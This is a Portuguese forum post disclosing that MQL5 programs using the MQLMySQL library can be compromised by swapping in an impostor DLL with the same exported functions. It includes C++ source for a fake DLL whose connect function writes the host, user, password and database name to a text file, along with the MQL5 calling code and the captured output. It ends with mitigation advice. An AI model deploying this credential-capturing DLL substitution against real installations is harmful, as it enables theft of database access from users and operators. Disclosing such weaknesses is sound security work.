Roubando dados de DLL

Para adicionar comentários, por favor Faça o login ou registrar
Roberto Spadim
1694
Roberto Spadim  
bom, como não aprovaram meu artigo, vou mandar pelo forum, fiquem atentos...



Introdução

O uso de DLL dentro de uma linguagem de programação libera um enorme leque de oportunidades para integração de sistemas já existentes legados ou não, para comunicarem com um sistema de negociação.

Porém seu uso sem restrições e verificações abre espaço para quebra de segurança e falta de controle sobre oque esta ocorrendo com o código.

Neste artigos irei demonstrar como um pouco de programação pode fazer com que um banco de dados mysql fique vulnerável a intercepção via DLL, e obtendo acesso ao banco por programas externos.


MQLMySql

Todos que ja utilizaram integração MySQL com MQL5 devem (ou deveriam) utilizar a biblioteca muito bem implementada do MQLMySQL (https://www.mql5.com/pt/articles/932), embora nem todas as funções da libmysql.dll tenham sido implementadas a sua implementação libera uma boa oportunidade para acessar o banco com poucas restrições e "workaround" para conseguir obter os dados, é com certeza a melhor biblioteca opensource aqui da comunidade MQL5.

Porém assim como qualquer DLL sua utilização pode se tornar um problema, imagine o caso onde o seu código compilado do MQL5 para EX5 seja distribuido para clientes que acessam uma base de dados central para validação das informações, uma base onde INSERT UPDATE DELETE SELECT são liberadas a todos usuarios do sistema.

A conexão ao banco de dados é unica e igual para todos os usuários, efetuada através de: Host/Porta/Usuário/Senha/Schema, estes parametros são passados via chamada DLL no sistema operacional windows que podem ser interceptadas simplesmente trocando a DLL que foi utilizada no tempo de desenvolvimento, por outra que tenha as mesmas assinaturas (nome da função e parametros). Não existe uma verificação segura ou pelomenos que restringe a uma pequena probabilidade da DLL utilizada ser realmente a DLL utilizada, inumeras maneiras podem ser adotadas para resolver este problema, desde uma simples verificação de HASH e tamanho de arquivo, até uma "incorporação estática" da DLL ao código EX5 no momento da compilação.

Para simplificar iremos demonstrar como é possivel utilizar um código de DLL para obter os dados do MySQL trocando a DLL MQLMySQL por uma DLL "fake"

Exemplo

A partir da lista de chamadas do código fonte da MQLMySQL podemos recria-la para funções dummies (que somente são chamadas mas não fazem nada relevante), e nas funções de nosso interesse podemos criar uma gravação em arquivo texto, o exemplo abaixo é o código de como podemos "roubar" dados de uma chamada DLL, usem sob conta e risco, em alguns paises isto é considerado como pratica de hacking, evitem acesso a dados de terceiro sem autorização prévia.

(Em linguagem C++)

// mqlmysql.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#define MAX_CONNECTIONS 32
#define MAX_CURSORS 256
void ClearErrors(int pId);
void ClearCursorErrors(int pId);
int GetNewConnectionId();
void DeleteConnection(int pId);
// void ConnectionsInit();
// void ConnectionsDeinit();
int GetNewCursorId();
void DeleteCursor(int pId);
// void CursorsInit();
// void CursorsDeinit();

//#ifdef _DEBUG
//#define new DEBUG_NEW
//#endif

#define WIN32_LEAN_AND_MEAN  // Exclude rarely-used stuff from Windows headers
#define MT4_EXPFUNC __declspec(dllexport)
#define _USE_INLINING

#include <assert.h>
#include <locale.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <atlstr.h>
wchar_t WideNull[1];
/*
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
        switch(ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH: WideNull[0] = 0; break;
        case DLL_THREAD_ATTACH: break;
        case DLL_THREAD_DETACH: break;
        case DLL_PROCESS_DETACH: break;
   }
   return(TRUE);
}
*/
MT4_EXPFUNC wchar_t* __stdcall cMySqlVersion(){
 return (L"MQLMySQL v2.0 Demo Copyright © 2014, FxCodex Laboratory");
}
MT4_EXPFUNC int __stdcall cGetMySqlErrorNumber(int pConnection){return 0;}
MT4_EXPFUNC wchar_t* __stdcall cGetMySqlErrorDescription(int pConnection){return WideNull;}
MT4_EXPFUNC int __stdcall cGetCursorErrorNumber(int pCursor){ return 0;}
MT4_EXPFUNC wchar_t* __stdcall cGetCursorErrorDescription(int pCursor){return WideNull;}
// return connection id
MT4_EXPFUNC int __stdcall cMySqlConnect(wchar_t* pHost, wchar_t* pUser, wchar_t* pPassword, wchar_t* pDatabase, int pPort, wchar_t* pSocket, int pClientFlag){
 FILE *fp;
 fp = fopen("mysqlconnect.txt","w");

 fprintf_s(fp, " [%S] ", pHost);
 fprintf_s(fp, " [%S] ", pUser);
 fprintf_s(fp, " [%S] ", pPassword);
 fprintf_s(fp, " [%S] ", pDatabase);
 fprintf_s(fp, " [%S] \n", pSocket);
 fclose(fp);
 return 0;
}
MT4_EXPFUNC void __stdcall cMySqlDisconnect(int pConnection){}
bool __stdcall MySqlExecute(int pConnection, wchar_t* pQuery){return 0;}
MT4_EXPFUNC bool __stdcall cMySqlExecute(int pConnection, wchar_t* pQuery){ return 0;}
MT4_EXPFUNC int __stdcall cMySqlCursorOpen(int pConnection, wchar_t* pQuery){ return 0;}
MT4_EXPFUNC void __stdcall cMySqlCursorClose(int pCursorID){}
MT4_EXPFUNC int __stdcall cMySqlCursorRows(int pCursorID){return 0;}
MT4_EXPFUNC bool __stdcall cMySqlCursorFetchRow(int pCursorID){return 0;}
MT4_EXPFUNC wchar_t* __stdcall cMySqlGetRowField(int pCursorID, unsigned int pField){return WideNull;}
MT4_EXPFUNC wchar_t* __stdcall WINAPI ReadIni (wchar_t* pFileName, wchar_t* pSection, wchar_t* pKey){return WideNull;}

 

Observe oque é feito, todas as chamadas de DLL são feitas conforme a assinatura das DLL da MQLMySQL , porem se alterando a função de chamada para conexão do banco, nesta função existe uma gravação em arquivo dos parametros passados podendo assim obter os dados da conexão:

MT4_EXPFUNC int __stdcall cMySqlConnect(wchar_t* pHost, wchar_t* pUser, wchar_t* pPassword, wchar_t* pDatabase, int pPort, wchar_t* pSocket, int pClientFlag){
 FILE *fp;
 fp = fopen("mysqlconnect.txt","w");

 fprintf_s(fp, " [%S] ", pHost);
 fprintf_s(fp, " [%S] ", pUser);
 fprintf_s(fp, " [%S] ", pPassword);
 fprintf_s(fp, " [%S] ", pDatabase);
 fprintf_s(fp, " [%S] \n", pSocket);
 fclose(fp);
 return 0; 

No arquivo gravado "mysqlconnect.txt" podemos ler facilmente os dados:

A chamada  desta função em MQL5 é a seguinte (em linguagem MQL5):

#import "..\\Libraries\\MQLMySQL.dll"
int    cMySqlConnect       (string pHost,       // Host name
                            string pUser,       // User
                            string pPassword,   // Password
                            string pDatabase,   // Database name
                            int    pPort,       // Port
                            string pSocket,     // Socket for Unix
                            int    pClientFlag);// Client flag
#import
int MySqlConnect(string pHost, string pUser, string pPassword, string pDatabase, int pPort, string pSocket, int pClientFlag)
{
 int connection;
 ClearErrors();
 connection = cMySqlConnect(pHost, pUser, pPassword, pDatabase, pPort, pSocket, pClientFlag);

 if (SQLTrace) Print ("Connecting to Host=", pHost, ", User=", pUser, ", Database=", pDatabase, " DBID#", connection);

 if (connection == -1)
    {
     MySqlErrorNumber = cGetMySqlErrorNumber(-1);
     MySqlErrorDescription = cGetMySqlErrorDescription(-1);
     if (SQLTrace) Print ("Connection error #",MySqlErrorNumber," ",MySqlErrorDescription);
    }
 else
    {
     MySqlLastConnect = TimeCurrent();
     if (SQLTrace) Print ("Connected! DBID#",connection);
    }
 
 return (connection);
}



void onStart()
  {
   MySqlConnect("mt5_host", "mt5_user", "mt5_password", "mt5_schema", 3306, "", 0);
  }

 

" [mt5_host] [mt5_user] [mt5_password] [mt5_schema] [] " 

 

Conclusão

Não existe ainda maneira segura de se verificar a autenticidade da DLL sendo executada no MQL5, e mesmo que implementem uma verificação simples de HASH ou uma compilação estática das dependencias de DLL, existe ainda a possibilidade de executar uma maquina virtual ou uma emulação e obter as chamadas de funções, embora poucas pessoas conheçam as tecnicas exatas para isto, é possivel.

No momento para minimizar riscos, não ignorem o risco de terem a base de dados indevidamente utilizada por alguma violação de segurança, ao utilizar uma DLL restrinja o uso dos programas para ambientes seguros e sem interferencia remota, no exemplo, caso tenham um banco de dados MySQL utilizem ele internamente em uma rede local, evitem expor o acesso ao banco por Internet ou rede compartilhada, até que tenhamos alguma alteração quanto a verificação de segurança pelo MQL5.

Por motivos obvios não irei anexar o código fonte completo desta DLL. 

Abraços!

Para adicionar comentários, por favor Faça o login ou registrar